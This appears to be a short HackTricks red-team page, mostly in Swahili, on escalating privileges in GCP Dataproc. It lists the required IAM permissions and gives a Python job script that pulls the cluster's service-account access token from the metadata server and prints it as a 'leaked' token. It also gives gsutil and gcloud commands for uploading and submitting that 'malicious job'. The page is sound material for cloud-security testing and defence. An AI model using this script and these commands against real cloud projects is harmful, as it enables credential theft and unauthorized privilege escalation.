GCP Dataproc Privilege Escalation

Reading time: 2 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Dataproc

GCP - Dataproc Enum

dataproc.clusters.get, dataproc.clusters.use, dataproc.jobs.create, dataproc.jobs.get, dataproc.jobs.list, storage.objects.create, storage.objects.get

Sikuweza kupata shell ya kurudi kwa kutumia njia hii, hata hivyo inawezekana kuvuja token ya SA kutoka kwa mwisho wa metadata kwa kutumia njia iliyoelezewa hapa chini.

Hatua za kutumia

  • Weka skripti ya kazi kwenye GCP Bucket

  • Wasilisha kazi kwa klasta ya Dataproc.

  • Tumia kazi hiyo kufikia seva ya metadata.

  • Vuja token ya akaunti ya huduma inayotumika na klasta.

python
import requests

metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
headers = {"Metadata-Flavor": "Google"}

def fetch_metadata_token():
try:
response = requests.get(metadata_url, headers=headers, timeout=5)
response.raise_for_status()
token = response.json().get("access_token", "")
print(f"Leaked Token: {token}")
return token
except Exception as e:
print(f"Error fetching metadata token: {e}")
return None

if __name__ == "__main__":
fetch_metadata_token()
bash
# Copy the script to the storage bucket
gsutil cp <python-script> gs://<bucket-name>/<python-script>

# Submit the malicious job
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
--cluster=<cluster-name> \
--region=<region>

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks